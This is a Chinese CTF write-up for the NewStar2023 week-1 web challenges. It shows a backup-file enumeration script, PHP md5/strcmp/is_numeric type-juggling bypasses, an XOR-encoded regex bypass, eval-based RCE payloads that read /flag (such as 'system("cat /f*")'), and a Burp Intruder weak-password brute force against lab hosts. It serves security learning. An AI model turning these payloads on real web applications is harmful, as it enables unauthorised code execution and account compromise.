NewStar2023 web-week1-wp
泄漏的秘密
robots.txt直接搜到半截,
然后用一个脚本发现www.zip请求成功,直接搜索下载下来,获得全部flag。
脚本如下:
import requests url = "http://831bae2d-34af-46a1-b6b5-cd06e0b427b7.node4.buuoj.cn:81/" list1 = [ 'web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp'] list2 = [ 'tar', 'tar.gz', 'zip', 'rar', ] for i in list1: for j in list2: url_final = url + '/' + i + '.' + j r = requests.get(url_final) print(str(r) + '+' + url_final)
Begin of Upload
轻松的文件上传题。
看别人的wp发现直接禁用js就一句话木马连接了,时间有点长有点忘了我咋做的了,反正很简单很基础。
Begin of HTTP
跟着它的走就行。
经典的http改包。
唯一需要注意的是XFF识别本地不行,这里需要X-Real-IP
ErrorFlask
随便传参乱输就进了一个debug页面,然后在里面找找就能发现flag。
Begin of PHP
看看源码:
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['key1']) && isset($_GET['key2'])){ echo "=Level 1=<br>"; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ $flag1 = True; }else{ die("nope,this is level 1"); } } if($flag1){ echo "=Level 2=<br>"; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); } } if($flag2){ echo "=Level 3=<br>"; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } } } if($flag3){ echo "=Level 4=<br>"; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } } } if($flag4){ echo "=Level 5=<br>"; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); } }
第一个点
简单的md5弱类型绕过,直接0e字符串就行:QNKCDZO 240610708 get传key1和key2就行
第二个点
意思就是key3的md5值必须跟sha1值相等,这里POST数组绕过就行,反正都是NULL 直接key3[]=1
第三个点
看起来key4必须传flag具体值,因为这个file_get_contents("/flag"),但我们根本不知道flag是什么,搜了下发现这里还是数组绕过
直接key4[]=xxx
//原理:flag[]=xxx 》》 strcmp比较出错 》》返回null 》》null==0 》》条件成立得到flag
第四个点
简单的is_numeric函数,意思就是get的key5不能是数字,但是又要大于2023
//is numericl函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,
查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,这里可以传 2025%20
第五个点
变量覆盖加正则表达式绕过,这里显然只对值循环,POST里随便传键值对,需要这些值不是数字也不是字母,这里字母和数字全给ban了,因为它把POST的东西全给寄了,应该就是无参数RCE,前面只有一处,也就是第二个点用了POST,我们需要把key3[]中的key3给换了,而且没给flag5,应该需要我们自己赋值
这里可以用取反/异或的操作绕过
%94^%FF=>k %9A^%FF=>e %86^%FF=>y
http://7384110d-64ac-4b2a-8636-f49b0e982d17.node4.buuoj.cn:81/?key1=QNKCDZO&key2=240610708&key4[]=xxx&key5=2025%20
key3[]=('>'>'<')&flag5=('>'>'<') //原博客:https://blog.csdn.net/m0_51518970/article/details/121616587
R!C!E!
这里的md5碰撞可以用脚本:
import hashlib import itertools import string import threading TARGET_PREFIX = "c4d038" MAX_LENGTH = 6 CHARSET = string.ascii_lowercase + string.digits THREADS = 4 def generate_strings(length): return itertools.product(CHARSET, repeat=length) def md5(s): return hashlib.md5(s.encode()).hexdigest() def check_string(start, end): for s in itertools.islice(generate_strings(MAX_LENGTH), start, end): if md5(''.join(s)).startswith(TARGET_PREFIX): print(f"Found: {''.join(s)}") return ''.join(s) return None def threaded_bruteforce(): total_combinations = len(CHARSET) ** MAX_LENGTH step = total_combinations // THREADS threads = [] for i in range(THREADS): start = i * step end = (i + 1) * step if i != THREADS - 1 else total_combinations t = threading.Thread(target=check_string, args=(start, end)) threads.append(t) t.start() for t in threads: t.join() if __name__ == "__main__": # threaded_bruteforce() print(md5("apofox"))
但其实网上一搜发现就是114514(好臭的数据)
RCE的system、flag、cat、ls都寄了,但是我搜到了一种拼接函数的RCE方法(泰酷辣!!!学到了学到了~~~~)
还有一点需要注意的是传参的php问题,这里借用官方wp:
这个eval传参,可以发现这个变量名有下划线也有点。
这时候如果直接按这个变量名来传参,php 是无法接收到这个值的,具体原因是 php 会自动把一些不合法的字符转化为下划线(注:php8以下),比如这个点就会被转换为下划线,另外这种转换只会发生一次。故直接传相当于传的变量名为 e_v_a.l 。具体转换可以参考下图:
非法变量名的转换: https://www.cnblogs.com/meng-han/p/16804708.html
phpinfo查看版本后发现可以用拼接函数的方式绕过: https://blog.csdn.net/LYJ20010728/article/details/117469219
我们直接:
password=114514&e[v.a.l=(sy.(st).em)("ca"."t /fla"."g");
当然还有另解,这里还可以用参数逃逸的RCE方法,比如写
password=114514&e[v.a.l=eval($_POST['a']);&a=system("cat /f*");
EasyLogin
开始卡了一会,注册登录进去是个shell,虽然会一直聊天,但是ctrl+d就退出去可以输命令了。
cd到home发现有个admin目录,我当时以为需要找flag的地方。但是ls进去没反应。
然后一直退,cd根目录到bin,然后进去就是命令:
但是也卡住了,我就一直按方向上键查看有没有那个admin留下的命令记录,发现hint:weak-passwd.txt
那么密码应该可以用弱密码爆破。
这里抓包admin的登录,随便输个密码111111一看,密码发生了变化,试了试md5加密111111,值相同,那么密码应该是用了md5处理。
在bp的这个intruder模组下装入我们的常用密码,然后再payload processing选择md5加密。
最后爆出来了。
这个明显长度不一样,拿去Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder解密发现是000000:
然后admin登录进去,继续方向上键发现使用bp的提示。
这里提一嘴,在注册的时候bp抓到个302的包:
<!-- 恭喜你找到flag --> <!-- flag 为下方链接中视频简介第7行开始至第10行的全部小写字母和数字 --> <!-- https://b23.tv/BV1SD4y1J7uY --> <!-- 庆祝一下吧! -->
是假的。
所以就猜这里admin也有个302跳转:
重新登陆抓包,查看proxy的history里面有很多个post的302包,其中一个注释里有正确的flag:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」